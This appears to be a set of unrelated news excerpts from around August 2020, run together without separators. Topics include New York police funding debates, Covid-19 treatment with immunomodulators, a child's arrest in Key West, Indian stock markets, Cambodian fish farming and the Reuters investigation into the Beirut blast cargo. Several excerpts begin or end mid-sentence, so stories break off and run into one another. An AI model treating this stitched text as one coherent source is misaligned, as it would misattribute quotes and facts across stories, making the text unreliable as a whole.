liberal Democrat who represents a West Bronx district where over half of residents are Hispanic and 40 percent are black, said her constituents want to see cops in the community. They dont want to see excessive force. They dont want to see cops putting their knees in our necks, Gibson said. But they want to be safe as they go to the store. New York City passed a new budget last month that cut $1 billion from the police department budget and re-purposed the funds for education and social services. The decision came amid calls from activists to slash even more funding from the police budget and as the city suffers a $9 billion revenue loss due to coronavirus lockdown measures. I dont want anyone to misunderstand and think that we dont care and that we have not been working our behinds off to get to a place of equity, Gibson said in early July when the citys new budget was passed, adding that communities must not be left behind with crime, violence, illegal guns in our communities, no programs, no activities, and no hope for a better tomorrow. Laurie Cumbo, the city councils black Democratic majority leader who represents parts of several Brooklyn neighborhoods including Bedford-Stuyvesant, compared the demands of activists to colonization. These are individuals that have never been seen before, active before, she said. This takeover is very similar to many of the movements that weve seen in colonization. Alicka Ampry-Samuel, a black councilwoman who represents Brownsville, one of Brooklyns poorest neighborhoods, expressed concern that the new voices pushing for reform could overshadow those in her community. We have fought for police reform and more funding every single budget cycle, she said. This debate is not new to me. What is new are the additional voices of concern added to the conversation, which at times have overshadowed our fight. Story continues Other black and Latino council members, including Antonio Reynoso of Brooklyn, who represents the more gentrified areas of Williamsburg and Bushwick, were more open to cutting funding to the NYPD. We have wrongly been told our whole lives that police keep us safe, Reynoso said. In New Jersey, Mayor Ras Baraka of Newark, the states largest city, dismissed calls to dismantle police departments as a bourgeois liberal solution to the problem of racism. I think its kind of a knee-jerk reaction, said the Democratic mayor, who is black. I think there needs to be significant reforms, he continued. To get rid of the police department who would respond to calls for service for violence and domestic abuse? At the end of the day, I think that the city and the residents here need police officers in their communities, Baraka said. More from National Review DMK MP Kanimozhi was asked if she was an Indian by an officer of the CISF when she was asked to give her instructions either in English or Tamil.(PTI Photo) Chennai: Dravidar Kazhagam President K Veeramani and MDMK founder Vaiko had flayed the incident at the Chennai airport on Sunday when DMK MP representing Thoothukudi constituency was asked if she was an Indian by an officer of the Central Industrial Security Force (CISF) when she was asked to give her instructions either in English or Tamil. That this had happened in Chennai, the capital of Tamil Nadu, was shocking and needed to be taken note of, said Veeramani, adding that language was an emotional issue and that national integration could not be achieved by imposing a language on the people. The query of the CISF officer reverberated with an inherent urge for Hindi domination and imposition and hence could not be taken lightly, Veeramani said in a statement on Monday. Reacting strongly to the incident, Vaiko, in a statement, said that it was a pointer to the Centres desire to thrust Hindi hegemony on others. He said the BJP government had been making a plethora of efforts to achieve Hindi domination all over the country, adding that such efforts would not fructify in Tamil Nadu. But that success also highlights the failings of so many other bets. When the Vision Fund poured billions of dollars into the likes of WeWork and Uber Technologies Inc., the aim was to give the start-ups a war chest they could use to undercut the competition on price. That would then squeeze out competitors, allowing them to raise prices and finally make a profit. So far, the vision has failed to pay off: Uber and WeWork alone accounted for write-downs of $9.8 billion for the fund last year. Well, if you have read the title you would already know what we are talking about here. We cant get any prouder now as our National Flag will be hoisted at iconic Times Square in New York for the first ever time, this Independence Day. As per the reports, a leading diaspora group in the US will hoist Indias National Flag at the Times Square this week, the first time the Indian tricolour will be unfurled at the iconic New York City destination. Isnt this cool? The Federation of Indian Associations (FIA) of the tri-state area of New York, New Jersey and Connecticut said in a statement that it will be creating history on August 15, 2020 by hosting the first-ever flag hoisting ceremony at Times Square to commemorate Indias Independence Day. MensXP It will be the first time ever that Indias tricolour will be unfurled at the iconic venue in all its glory, the organisation said, adding that Consul General of India in New York Randhir Jaiswal will be the Guest of Honour at the event. The FIA said this years Independence Day celebrations will include the flag-hoisting ceremony at Times Square and the annual tradition of illuminating the Empire State Building in hues of the tricolour orange, white and green. Besides, the Empire State lighting ceremony will be held on August 14. The Times Square flag hoisting ceremony is a testament to the Indian-American communitys growing patriotism and is a fitting tribute to the FIA which is celebrating its golden jubilee year, the organisation said. Established in 1970, the FIA is among the largest umbrella diaspora organisations. In July, Ankur Vaidya was appointed the FIA Chairman, succeeding prominent Indian-American community leader Ramesh Patel who passed away due to complications from coronavirus. Vaidya, 40, has been long associated with the FIA and was the President of the umbrella diaspora organisation for the year 2014. He is the youngest member of the Board and the youngest to be chosen as its chairman. The Consulate General of India in New York will host a virtual Independence Day celebration on August 15 in which it has invited members of the Indian community and friends of India for the commemoration that will be live-streamed. The FIA annually organises its flagship event the India Day Parade to mark Indias Independence Day in August. Top US political leaders, lawmakers as well as prominent members of the Indian-American community and celebrities from India have participated in the annual parade that draws a crowd of thousands in the heart of Manhattan each year. This year, however, the parade will not be held owing to the COVID-19 global health crisis. (With PTI inputs) There is a natural tension between what physicians themselves sometimes describe as the art and the science of medicine. Medicines bedrock, its science, consists of treatments and protocols that have been tested rigorously and proven to work (better than placebos do). But in daily practice, as they try to help patients, none of whom are the same, doctors sometimes move slightly beyond what has been proven, particularly when established practices prove ineffective or when its unclear what really ails a patient. They may draw on personal experience or case studies in the medical literature. They might prescribe drugs off-label, or for uses other than what they were approved for, and, within certain bounds, fiddle with dosages. As Navarro-Millan put it to me, Nothing in medicine is fixed or precise, unlike other sciences. The tension between the interpretive (or creative) and the conservative (or scientific), which is probably felt to some degree by every doctor, can escalate in times like the current moment. Doctors and scientists are facing a virus never seen before and are therefore figuring out how to treat it for the first time. Some doctors feel impelled to try new treatments in order to help their patients. But this may, as Langelier points out, end up in conflict with Hippocrates injunction that physicians do no harm. And certainly, there have been episodes in which doctors took action in a way that they thought should work but turned out to cause harm. For example, once scientists got around to thoroughly studying hormone-replacement therapy for postmenopausal women, beginning in the 1990s a treatment that made sense in theory they discovered a major downside: It increased the risk of breast cancer, heart disease and other ailments among certain groups of women. That doesnt mean that physicians experiences are useless or dont warrant attention. A recent opinion piece in The Journal of the American Medical Association noted the current cacophony of observational studies and pointed out that even these so-called weak studies can help advance Covid-19 treatments as long as they lead to well-designed follow-up trials. Stronger studies can test the ideas generated by weak studies (though the authors warn against publishing those weak studies in medical journals, so as not to unduly influence care). In the United States, physicians efforts to suppress the immune system in Covid-19 patients have been uncoordinated. Institutions formulate their own approaches. As Covid-19 overwhelmed New York, doctors at Montefiore Health System in the Bronx, a borough hit hard by the virus, convened a task force to develop a plan of care focused on the immune system. Over the course of months at New York University Langone Medical Center, critical-care doctors slowly increased their use of steroids, according to Sam Parnia, director of critical-care and resuscitation research. The gradual embrace of steroids stemmed in part from observations that patients seemed to improve when treated with them, and then worsen when the drugs were withdrawn. Officials at Temple University Hospital in Philadelphia early on established a protocol for Covid-19 patients centered on aggressive immunomodulation. Roberto Caricchio, the head of rheumatology there, told me that the hospital, which serves a high-risk, mostly African-American and Hispanic population, immediately began giving steroids in low doses to everyone who tested positive for Covid-19 and who needed oxygen. Depending on the levels of various inflammatory indicators, patients might then be given anakinra the short-acting drug that Navarro-Millan used or tocilizumab, the longer-lasting drug that blocks the cytokine interleukin-6. In Southern California, Thomas Yadegar, medical director of the I.C.U. at Providence Cedars-Sinai Tarzana Medical Center, says he changed how he cared for Covid-19 patients after a number of them suddenly and inexplicably deteriorated and several died. Starting in April, as soon as the oxygen in their blood began dropping and before admission to the I.C.U. Covid-19 patients at his hospital began receiving sarilumab, then, later, tocilizumab. He told me that the number of patients needing intubation has since declined greatly. If you told me in January that you were coming into my I.C.U. to give immunomodulators, I would have called security and had you thrown out, he says. At Weill Cornell, Navarro-Millan spent the April surge working with a team of internal-medicine doctors and rheumatologists, giving anakinra to Covid-19 patients who met certain criteria. (In June, she returned to rheumatology full time.) This summer, Navarro-Millan and her colleagues published a case series, or purely observational study, in the journal Arthritis Rheumatology. They detailed the outcomes for 11 of their hospitalized patients. Seven who were treated within 36 hours of the onset of symptoms defined as worsening shortness of breath that didnt improve with supplemental oxygen were able to avoid being put on ventilators and went home; four who were treated four or more days after symptoms began ended up on ventilators (one died). Although the study wasnt designed to generate firm conclusions among other shortcomings, it was tiny and contained no untreated comparison group giving anakinra to patients early in their care seemed to produce better results, as Navarro-Millan anticipated. She is now seeking F.D.A. approval for a stronger trial involving multiple hospitals and doctors to test anakinra on Covid-19. F ootage has emerged of a "horrific" incident which saw Florida police handcuff an eight-year-old boy with special needs after he allegedly punched a teacher. The footage is from an incident that happened on December 14, 2018 at Gerald Adams Elementary in Key West, Florida, but has recently gained attention after it was shared by attorney Ben Crump on social media on Monday. Mr Crump represents the families of George Floyd, Breonna Taylor and Ahmaud Arbery. The footage shows the moment police place him in handcuffs. Bodycam footage shows the moment police placed the eight-year-old boy in handcuffs / Florida police "So you know where you're going?" one of the officers asks the boy before a second officer says, "you're going to jail". They tell him to stand up and put his hands against a wall as they pat down his clothing in what looks like an attempt to check for hidden weapons. Officers frisked the child / Florida police The officers then place the child in handcuffs but they are too large and don't fit. A teacher is seen comforting the boy before the police officer confronts the boy about his behaviour. "You understand this is very serious okay and I hate that you put me in this position and I have to do this," says the officer. "The thing about it is that you made a mistake and you have to learn from it and grow from it and not repeat the same mistake again." The footage ends with the officers escorting the child towards a squad car. He was later booked into a juvenile justice facility in Key West. According to the arrest report, the child's teacher said the eight-year-old was not sitting properly in his cafeteria seat and when she asked him multiple times to sit properly he refused. She claims he told her "my mom is going to beat your a***" before punching her with his right hand. In a statement shared on Twitter, Mr Crump said he is filing a federal lawsuit with civil rights attorney Devon Jacob against the Key West Police officers, the city of Key West and the Monroe County School District. He is accusing police of using "scared straight" tactics to intimidate the eight-year-old boy. Such tactics refer to a strategy used to deter juvenile offenders from a life of crime by exposing them to what life is like in adult prisons. The eight-year-old boy in the footage was not sent to an adult prison. "At eight-years-old, 3.5ft tall, and 64 lbs, this little boy didn't pose a threat to anyone. He had an IEP in place because his disabilities demanded special support by his school - a plan intended to make sure his educational experience was appropriate for him. "Instead of honouring and fulfilling that plan, the school placed him with a substitute teacher who has no awareness or concern about his needs and who escalated the situation by using her hands to forcibly move him. "This is a heartbreaking example of how our educational and policing systems train children to be criminals by treating them like criminals. If convicted, the child in this case would have been a convicted felon at eight-years-old." He added: "This little boy was failed by everyone who played a part in this horrific incident." Key West Police Chief Sean T Brandenburg said in a statement Monday that no inappropriate action had been taken. "Based on the report, standard operating procedures were followed," he said. The Monroe County School District told the Miami Herald in a statement: The District is not, and has not, been involved in litigation about this incident. Due to the possibility of this matter becoming a legal issue in the future, we have been advised not to make further comment about the incident at this time. Federal Defence Minister Linda Reynolds has directly contradicted evidence Premier Daniel Andrews gave to a parliamentary inquiry, saying Victorian authorities had refused or ignored multiple offers of support from the Australian Defence Force to help with hotel quarantine. Ms Reynolds statement included a list of times the offer of ADF assistance had been made, and came just hours after Mr Andrews told the Victorian Parliament's public accounts and estimates committee, I dont believe ADF support was on offer. The spotlight is on Daniel Andrews' evidence to the Public Accounts and Estimates Committee. Credit:Jason South Its the most open disagreement between the state and federal authorities since the COVID-19 pandemic began over an issue at the heart of Victorias deadly second wave outbreak, and has prompted claims from the state opposition that Mr Andrews has lied to Parliament. However, sources close to the state government told The Age the Premier was likely to argue that the ADF offers were made to agencies of the government, not at cabinet level. ST. JOSEPH COUNTY, MI More than 140 cats were rescued from a hoarding situation at a St. Joseph County home last week. The owner of the home, who was present at the time the cats were seized, was cited and possible charges are being reviewed by the St. Joseph County Prosecutors Office, according to a news release from the Park Township Zoning Office. Park Township zoning officials along with help from the local health department, sheriffs office and county animal control agency executed a search warrant at the home Aug. 4, according to the news release. Upon arrival and exiting their vehicles, officials detected a foul smell that was determined to be coming from the residence, officials said in the news release. Even with the use of personal protection equipment, officials found it difficult to overcome the foul smell. As a result of this investigation, the home was found in deplorable condition and deemed unsafe for human habitation by both Park Township and local health department officials, according to the release. More than 140 cats, ranging in age from newborn to elderly, were seized from the home, according to the release. It took officials several hours to capture the animals, several of which appeared to have health issues and will be evaluated by animal control staff and other professionals, the release states. Two of the cats were euthanized immediately upon examination. During the investigation, four officials received minor injuries from some of the more aggressive cats, officials said in the news release. The case is still under investigation and review. Due to the massive number of cats seized, the St. Joseph County Animal Control Agency has sought additional resources from the Kalamazoo County SPCA, the Cass County Animal Control Agency and local volunteers. To contact the St. Joseph County Animal Control Agency, call 269-467-6475. Also on MLive: 5 questions with answers on Kalamazoos proposal to fight housing discrimination Man hospitalized following late-morning shooting in Kalamazoo Live updates: Big Ten cancels fall football, hopes to play in spring Michigan Gov. Gretchen Whitmer set to speak at Democratic convention as VP speculation swirls New Michigan COVID-19 webpage shows which activities are prohibited where including schools Hong Kong: HA investigates infected nurse case The Hospital Authority today announced that a Kwong Wah Hospital nurse has preliminarily tested positive for COVID-19. The male nurse worked in a male surgical ward of the hospital. He developed a sore throat, cough and runny nose since August 6. He is in stable condition and will be admitted for treatment under isolation after his COVID-19 test result yesterday revealed that he was preliminarily positive. As he performed clinical duties, he was equipped with appropriate personal protective equipment and complied with hand hygiene at work. The hospital, as a precautionary measure, is reviewing the nurses work schedule to determine if any patients should be classified as close contacts or other contacts. The hospital was notified that the nurse's spouse is also a staff member there. She was classified as a close contact due to household contact. The Centre for Health Protection (CHP) said it will follow up on necessary tests and quarantine arrangements for her. HKU Chair of Infectious Diseases, Department of Microbiology Prof Yuen Kwok-yung paid a visit to Kwong Wah Hospital this afternoon and advised the hospital to further strengthen infection control measures in wards. Prof Yuen recommended that the hospital should inspect and test the ventilation system at particular ward cubicles and enhance ventilation facilities if necessary. He also reminded patients to wear masks in hospitals at all times and not to talk while eating in order to reduce the risk of infection. The hospital emphasised that it will follow up his recommendations accordingly and that admission to the ward affected will continue to be suspended. It added that it will closely monitor the health of its staff and patients and follow up on the case with the CHP. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. MUMBAI: Indian indices opened in the green on the back of positive global cues amid encouraging economic data on Tuesday (August 11, 2020). At 09:16 IST, the S&P benchmark Sensex was up 303.75 points or 0.80% at 38485.83, and the Nifty was above 11350 level. Nifty was up 86.20 points or 0.76% at 11356.40. About 911 shares have advanced, 209 shares declined, and 31 shares are unchanged as the Indian stock markets opened. According to the market indicators, global news flows, earning outcome of domestic companies would be key monitorables to watch in todays trade. Besides, investors will also watch closely the industrial output data for June scheduled to be released today. Investors will also react to the results of Bank of Baroda and Titan, both the companies posted a net loss in the June quarter largely as the Covid-19 induced lockdown hurt operations. Domestic markets ended higher led by gains in pharma stocks amid strong earnings and in defence stocks after the government announced measures to boost domestic defence production. US markets ended mixed as optimism on President Trump signing executive order to extend COVID relief package was offset by concerns around escalating US-China tensions. Indian benchmark share indices closed higher on Monday lead by healthy buying in pharma stocks. Sensex settled at 38,182.08, up 141.51 points or 0.37%, while Nifty ended 56.10 points or 0.5% higher at 11,270. Mahindra & Mahindra, rising nearly 5%, was the top Sensex gainer followed by L&T, Sun Pharma, Tech Mahindra and NTPC. Reliance Industries, Asian Paints and Maruti Suzuki were among the top laggards on the other hand. Of 30 Sensex shares, 12 closed in the red. BSE Healthcare, closing 4.7% higher, was the top sectoral gainer followed by BSE Capital Goods, BSE Realty and BSE Industrials. Colorized scanning electron micrograph of a cell (blue) heavily infected with SARS-CoV-2 virus particles (red), isolated from a patient sample. Image captured at the NIAID Integrated Research Facility (IRF) in Fort Detrick, Maryland. Credit: NIAID Better understanding of the surface chemistry of the SARS-CoV-2 virus is needed to reduce transmission and accelerate vaccine design. Researchers at Michigan Tech, TUV SUD UK National Engineering Laboratory and University of Edinburgh call for increased research on virus surface stability and interaction in "Surface Chemistry Can Unlock Drivers of Surface Stability of SARS-CoV-2 in Variety of Environmental Conditions" in the journal Cell Press. They highlight the need to understand the different environmental conditions that affect the surface chemistry of viruses like SARS-CoV-2, the virus that causes the disease COVID-19. Creating an Unfriendly Surface for Viruses We're told to wash our hands with soap for 20 seconds to kill viruses. Why? Because the soap interacts with the surface chemistry of a virus, particularly the lipid, or fatty, casing around it, and essentially makes the virus explode. Handwashing is a clear example of why understanding how viruses interact with surface environments is important. Increased research will better equip us to diminish how long viruses survive on surfaces or in the air, an important way to stop the spread. "If the surface is not friendly, it's easier for the virus to fall apart. Where the virus has more friendly interactions with the surface, it's more likely to stay infectious," said Caryn Heldt, professor of chemical engineering and director of the Health Research Institute at Michigan Technological University. "Viruses have unique ways of interacting with surfaces. The surface chemistry of the virus will change how the virus interacts with water," Heldt said. "If water such as humidity, which is common in your breath and in the air, gets between the virus and a surface, it can really change the way the virus interacts with that surface. The virus surface and the environment: you can't separate them out." More Than One Way to Skin a Cat Or a Virus Part of the reason the scientific community's understanding of the SARS-CoV-2 virus continues to evolve is because there are only a few techniques available to measure the small amounts of virus particles required to infect a person as compared to other types of biomolecules, such as proteins. Research by Michigan Tech's Health Research Institute seeks to understand the surface chemistry of viruses and how its interactions with surfaces stainless steel, copper, plastic, cardboard can increase the virus's viability or kill the virus particles. Credit: Michigan Technological University "We need to understand how viruses interact with surfaces with and without water present, but the traditional ways we think of studying surface chemistry cannot detect these low levels of virus," Heldt said. Heldt and coauthors said their article provides a broad overview of different ways researchers could learn more about these surface interactions on a chemical level. Unlike the viruses that cause influenza, SARS-CoV-2 is mainly transmitted through aerosols, or particles that travel through and stay suspended in the air when people talk, sing, cough or sneeze. The flu is transmitted by large droplets you breathe out, which fall to and stay infectious on surfaces. Heldt said surfaces have not been ruled out as a mode of transmission, but that the most common form of transition seems to be aerosol inhalation. "It's about how close you are to someone and for how long," she said. Temperature and humidity in particular seem to have greater effects on the SARS-CoV-2 virus' virility. "For the first time, we highlight potential mechanisms of the novel SARS-CoV-2 surface stability in various environmental conditions including temperature and relative humidity," said Aliakbar Hassanpouryouzband, a postdoctoral research associate at the University of Edinburgh. While viruses are typically more stable when it's colder, which explains why flu season hits during the winter, that doesn't seem to be the case for the virus that causes COVID-19. However, researchers can infer from what heat does to moleculesit increases their energy, causing them to move and vibrate more quicklythat increased vibrations of virus molecules causes them to explode and no longer be infectious. When it comes to humidity, viruses need to bind some water to their surfaces. But dehydrating a virus molecule isn't a cut-and-dried solutionit can actually make some molecules more stable. Along with further research into the effects of humidity, temperature and other environmental conditions, there's a need to explore the effects of pH balance and protein casings on the virus. The work to better understand the surface chemistry of SARS-CoV-2 will help scientists around the world design vaccines for this pandemic and those of the future. "We hope that this article will assist experimental scientists worldwide in their investigations for unraveling the molecular drivers implicated in this new coronavirus transmission from the surfaces as well as in vaccine development and antiviral drug design," said Edris Joonaki, fluid properties expert at TUV SUD UK National Engineering Laboratory. Explore further Study reveals contamination of air and environment near patients with COVID-19 More information: Edris Joonaki et al. Surface Chemistry Can Unlock Drivers of Surface Stability of SARS-CoV-2 in Variety of Environmental Conditions, Chem (2020). Journal information: Chem Edris Joonaki et al. Surface Chemistry Can Unlock Drivers of Surface Stability of SARS-CoV-2 in Variety of Environmental Conditions,(2020). DOI: 10.1016/j.chempr.2020.08.001 VERITAS A Harvard Professor, A Con Man and the Gospel of Jesuss Wife By Ariel Sabar In 2012, the Harvard scholar Karen King announced what she believed to be an extraordinary discovery: a second-century papyrus fragment with a text hinting that Jesus was married to Mary Magdalene. The Gospel of Jesus Wife, as it became known, tapped into a plot point from The Da Vinci Code that had already helped Kings academic treatise on Mary Magdalene become a best seller with a mass audience. This gospel was worldwide news before skeptical papyrologists and grammarians, in one case drawing on the research of an amateur Coptic obsessive working in his Macomb, Mich., basement, showed it to be a complete fake. King was mum on who the stranger from Florida was who had given her the fragment, but the writer Ariel Sabar, using sophisticated tools like Google, uncovered that it was one Walter Fritz, a former director of the Stasi Museum in East Germany with a fake Egyptology degree whose businesses included charging for online videos of his wife having sex with other men, and who, more than three weeks before Kings bombshell announcement about the papyrus, had registered the web domain gospelofjesuswife.com. Veritas, Sabars exhausting, madcap, unforgettable book about this fiasco, is for enthusiasts of ancient Christianity, as well as anyone who likes watching snooty academics brought low and readers of idea-driven capers, whether by Daniel Silva or Janet Malcolm. Its a barely believable tale, crazier than a tweed-sniffer in the faculty lounge. CHARLOTTE, North Carolina, Aug. 11, 2020 /PRNewswire/ -- BNI (Business Network International), the world's largest and most successful business networking organization, is pleased to announce that Mark Clauss, a growth-oriented senior product executive, has joined BNI's Global Leadership Team as its first-ever Chief Product Officer (CPO). In this role, Clauss will lead significant research and innovation to help BNI Member-businesses continue growing in any business environment. Responding to the current business environment, BNI has recently launched new technology, training, and process enhancements, including BNI Online in February. In the first seven months of 2020 alone, BNI's nearly 270,000 Member-businesses generated over $8.9 billion (USD) in closed business via 6.7 million referrals. BNI now sees a larger opportunity to transform the landscape of global business with its high-touch and high-tech approach. Adding a CPO will increase that momentum. BNI's Chairman & CEO Graham Weihmiller shares, "Now, more than ever, BNI is investing in enhancements to help BNI Members continue growing in 2020 and beyond. I am thrilled to welcome Mark to the team. He is a thoughtful and talented leader and we are very happy to have him joining BNI's Global Leadership Team for the adventure ahead. We are 'all-in' on helping BNI Member-businesses succeed, and we are inspired by their successes thus far in 2020." "I am honored and excited to be joining BNI," says Clauss. "I was looking for my next career challenge, and with the tremendous opportunity ahead for BNI, I'm confident this is the right next step. With so many expansion opportunities, my goal will be to focus BNI's talent and resources on the key strategies with the biggest impact for BNI Members. My thanks to the BNI team for their trust in me, I can't wait to accomplish big things together." Clauss brings more than 20 years of senior-level experience in market research and product development. He was most recently the Managing Vice President of Product Development and Management at Gartner, a well-known global research and advisory firm. Previously, Clauss worked with Eizel Technologies, Broadpoint, CEB, and McKinsey & Company. Clauss holds an MBA from Cornell's Johnson Graduate School of Management where he graduated with Distinction. He also holds a Bachelor of Science from Cornell University where he focused on Operations Research and Industrial Engineering and graduated with Distinction. About BNI: BNI is the world's largest and most successful business networking organization. BNI has nearly 270,000 Members who attend over 9,700 weekly chapter meetings in 70 countries around the globe. BNI's proven business networking platform provides its Members the ideal environment, technology, training, and support to help them build strong businesses. BNI Online is its newest product, an advanced online platform that helps Members connect in structured virtual environment. In the first seven months of 2020 alone, BNI Members have already generated over $8.9 billion (USD) in closed business by providing high-quality new client referrals to one another. To see the new look and learn more about BNI, go to www.bni.com. Logo - https://mma.prnewswire.com/media/1177046/BNI_Logo.jpg From Sanusi Muhammad Despite the ongoing efforts of Bauchi state government to support its agricultural revolution for a sustainable economy, certain unscrupulous staff charged with the responsibility of distributing the assorted fertilizers procured by government to support the effort of farmers, are diverting the commodity to the black market with the connivance of some heartless traders. An investigation by this medium shows that the governor had directed that cost of each bag of fertilizer should not exceed N5000.00 as it controlled price that include subsidy but despite that directive, staff of the agency charged with that responsibility, have diverted the commodity to their fronts at the black market with a cost price of N8,500 N10,000 per bag. Advertisement A check at Bauchi State Agricultural Supply Company (BASAC) that is in-charge of the distribution shows that needy farmers that troop to the agency for allocation and subsequent payment for collection are frustrated and denied access to the commodity even with the allocation. Saidu Umar, one of the affected farmers who narrated his ordeal in the hands of the corrupt BASAC staff, revealed that the effort of Governor Bala Muhammed is under serious threat by those corrupt officials that are mandated to distribute fertilizers. It was after over 2-weeks struggle that I got an allocation of 10 bags of fertilizers (5 bags of Urea and 5 bags of NPK) for use on my farm. I had been to the store for collection severally without success. In all my visits, the store was locked. I was told that it is only in midnight that the store keeper and some criminally-minded staff open the store for delivery of the commodity to their black market fronts. The governor is not aware of the ongoing frustration to farmers by those charged with the responsibility of distribution. Let the governor pay a surprise visit to BASAC and see things for himself to understand the situation for immediate solution as the rainy season has gone far. Abigail Zakka, another frustrated farmer said: Those fraudulent staff of BASAC charged with the responsibility of distributing fertilizers, are determined to frustrate the laudable objectives of the State Governor. They are heartless and greedy. The governor has labored to provide the fertilizers but they are all out to thwart his efforts for a bumper harvest. In the absence of the government subsidized fertilizers that we are denied by corrupt officials, we are forced to patronize their fronts in the black markets for our requirements. Tanko Ali of Miri village had a different story to tell. I have lost hope of farming with government subsidized fertilizers because we are told that only PDP members can access the fertilizers. We voted for Governor Bala as members of opposition Peoples Redemption Party (PRP) but we are today denied fertilizers supplied by the same governor we voted. Those government officials trying to blackmail the governor should better stop or we expose their scandals. All efforts to get the Managing Director of the embattled BASAC for his comments proved abortive as his cell phone was off and he was not on seat in his office despite several visits. One of the staffs at the company confirmed that the Managing Director could hardly be reached as he is avoiding people. Chhum Phirom has lived in the fertile Mekong River basin all his life. The 26-year-old Prey Veng resident said most families in Peam Ro district have relied on rice farming to ensure basic livelihood and sustenance. The fertile plains have made the district, and province, one of Cambodias leading rice producers, according to Agriculture Ministry statistics, with kilometers of rice paddy covering the landscape. But, with climate change, drought-like conditions, and low rice prices plaguing the critical export sector, some families are turning their backs on the traditional occupation to invest in aquaculture. The district, which houses the government-run Freshwater Aquaculture Research and Development Center, has seen a recent crop of freshly-dug ponds, peppered among rice fields. We could not make high yields with rice, Chhum Phirom said, laying in a hammock near his fish ponds. So, we changed to fish farming and followed others in the village by digging these ponds. The shift to fish farming comes amid the novel coronavirus-induced global economic slowdown, which has hit the Cambodian tourism, manufacturing, and construction sectors hard. The Cambodian government has recently made a pivot to promote the investment-lacking agricultural sector as a revival strategy for the economy. Prime Minister Hun Sen has been traveling across the country to meet farmers, walk through muddy rice fields, and push rural Cambodians to again embrace agriculture. The government has been using the recently-penned Cambodia-China Free Trade Agreement to convince Cambodians to help boost agriculture exports. Cambodian officials are pushing aquaculture as a viable alternative to rice farming, even though there is few indication if fish and fish products will have tariff- and quota-free status in the FTA. During a press conference in early July, Finance Ministry Secretary of State Vongsey Vissoth said fish had high potential as an export product to the Chinese market. But a few weeks later, Agriculture Minister Veng Sakhon told local newspaper Phnom Penh Post that Cambodia had asked Chinese authorities for permission to export fish to China, but they never responded. Eng Cheasan, an official at the Fisheries Ministry, said on August 6 there was an immediate demand for marble goby fish in China - locally called trey domrey but not for the more common varieties bred in Cambodia. He said the government was still negotiating with China to get species, such as the spotted-ear catfish and striped catfish, on the FTA list of products. The two varieties are called trey po and trey pra in Khmer, respectively. The FTA announcement also revealed that critical agriculture exports like rice will be tariffed beyond the quota set by China and that it would take ten years to phase out these tariffs. Commerce Ministry Secretary of State Sok Sopheak told VOA Khmer that tariff-free export of rice to China would take years because Chinese officials were keen to protect local production and balance it with imports for Cambodia. The current tariff-free quota for Cambodian rice to China is 400,000 tons per year, Sok Sopheak said, and rice exports would be tariffed at 75 percent beyond the quota. Back in Prey Veng, local fish farmer Khai Heang said he made the switch to aquaculture more than a decade ago, after losing money on growing rice. The 60-year-old farmer sold his eight-hectare rice farm to build two large fish ponds, where he has been growing around 30,000 striped catfish, or trey pra. The switch has been profitable for Khai Heang, who said he earns around $1,000 a month selling to the local markets. The potential for exports to China has Khai Heang excited. The Chinese will like eating my fish, said Khai Heang, as one of his grandsons fed the fishes. If the export happens, I hope we could have more stable prices and I think that would be good. Ouk Samnang, director of the Prey Veng Provincial Department of Agriculture, said authorities were not aggressively pushing a switch from rice to fish, but were only providing an option to farmers to diversify their production. He did admit that there were issues with rice sales because farmers and rice brokers disagreed on prices for the commodity. The government encourages all forms of farming regardless it is the fishes or the rice, Ouk Samnang said. He said the Fisheries Department had supplied an increasing amount of fish seed to local farmers, totaling around 30 million seed in July alone. There was a long way before Cambodia could export large quantities of fish overseas, he said, because of capacity and the infrastructure constraints. It will take time and needs further investment to improve the [fish] production supply chain for export abroad, Ouk Samnang said. The switch to fish farming does have its pitfalls. Seeing a growing trend towards fish farming in her village, Thaong Bopha dug a small pond behind her home to grow fish. The 30-year-old rice farmer did not have the relevant expertise, technical know-how, or access to financing to successfully implement the transition. Given her lack of technical knowledge, the pond she built was too small for the relatively-large fish species. So, she had to sell them before they could mature. I tried for the first time this year by digging a small pond behind my house to breed small fishes for sale, but I do not have enough expertise, she said. In the murky story of how a cache of highly explosive ammonium nitrate ended up on the Beirut waterfront, one thing is clear -- no one has ever publicly come forward to claim it. There are many unanswered questions surrounding last week's huge, deadly blast in the Lebanese capital, but ownership should be among the easiest to resolve. Clear identification of ownership, especially of a cargo as dangerous as that carried by the Moldovan-flagged Rhosus when it sailed into Beirut seven years ago, is fundamental to shipping, the key to insuring it and settling disputes that often arise. But Reuters interviews and trawls for documents across 10 countries in search of the original ownership of this 2,750-tonne consignment instead revealed an intricate tale of missing documentation, secrecy and a web of small, obscure companies that span the globe. "Goods were being transported from one country to another, and they ended up in a third country with nobody owning the goods. Why did they end up here?" said Ghassan Hasbani, a former Lebanese deputy prime minister and opposition figure. Those linked to the shipment and interviewed by Reuters all denied knowledge of the cargo's original owner or declined to answer the question. Those who said they didn't know included the ship's captain, the Georgian fertilizer maker who produced the cargo and the African firm that ordered it but said it never paid for it. The official version of the Rhosus' final journey depicts its voyage as a series of unfortunate events. Shipping records show the ship loaded ammonium nitrate in Georgia in September 2013 and was meant to deliver it to an explosives maker in Mozambique. But before leaving the Mediterranean, the captain and two crew members say they were instructed by the Russian businessman they regarded as the ship's de facto owner, Igor Grechushkin, to make an unscheduled stop in Beirut and take on extra cargo. The Rhosus arrived in Beirut in November but never left, becoming tangled in a legal dispute over unpaid port fees and ship defects. Creditors accused the ship's legal owner, listed as a Panama-based firm, of abandoning the vessel and the cargo was later unloaded and put in a dockside warehouse, according to official accounts. The Beirut law firm that acted for creditors, Baroudi & Associates, did not respond to requests to identify the cargo's original legal owner. Reuters was unable to contact Grechushkin. The empty ship eventually sank where it was moored in 2018, according to Lebanese customs. The Rhosus' final movements are under fresh scrutiny after the ammonium nitrate caught fire inside the warehouse and exploded last week, killing at least 158 people, injuring thousands and leaving 250,000 people homeless. Among the still-unanswered questions: who paid for the ammonium nitrate and did they ever seek to reclaim the cargo when the Rhosus was impounded? And if not, why not? The cargo, packaged in large white sacks, was worth around $700,000 at 2013 prices, according to an industry source. UNINSURED Reuters inquiries have raised numerous red flags. Under international maritime conventions and some domestic laws, commercial vessels must have insurance to cover events such as environmental damage, loss of life or injury caused by a sinking, spill or collision. Yet the Rhosus was uninsured, according to two sources familiar with the matter. The ship's Russian captain, Boris Prokoshev, said by phone from his home in Sochi, Russia, that he had seen an insurance certificate but could not vouch for its authenticity. Reuters was unable to obtain a copy of the ship's documents. The Mozambican firm that ordered the ammonium nitrate, Fabrica de Explosivos Mocambique (FEM), was not the cargo owner at the time because it had agreed to only pay on delivery, according to its 